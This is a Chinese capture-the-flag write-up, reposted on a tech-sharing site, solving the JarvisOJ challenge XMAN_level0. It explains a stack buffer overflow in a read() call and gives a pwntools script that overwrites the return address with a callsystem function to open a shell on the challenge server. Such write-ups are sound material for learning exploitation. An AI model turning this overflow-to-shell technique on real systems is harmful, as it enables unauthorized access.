标签:函数 callsystem system pwn 地址 call JarvisOJ payload
0x 01 XMAN_level0
常规的跟进函数,查看漏洞函数
可以看到函数里定义了一个字符变量他在栈中存放的位置是rsp-80h,而下面的read语句却允许我们输入最多512字节的数据,buf的首地址到rbp也就是栈帧的底部都才只有128个字,所以我们完全可以通过read函数来覆盖此函数的返回地址。
然后就是查找程序中有没有可以用来攻击的程序或者语句
这里可以看到有system()和/bin/sh,再从IDA pro右边看到有个callsystem函数,我们可以将漏洞函数中的返回地址覆盖成这个callsystem函数的地址,这样漏洞函数执行完就会跳转到着执行callsystem函数,并弹出一个高权限的shell,达到控制服务器的目的。
示意图:
payload:
from pwn import *
# 连接服务器
io=remote("pwn2.jarvisoj.com",9881)
# call_system函数的地址
call_system_addr=0x0000000000400596
# 填充原理见示意图
payload='A'*136+p64(call_system_addr)
# 发送payload
io.sendline(payload)
# 切换到交互模式
io.interactive()
标签:函数,callsystem,system,pwn,地址,call,JarvisOJ,payload 来源: https://www.cnblogs.com/-twinkle-star/p/10701333.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。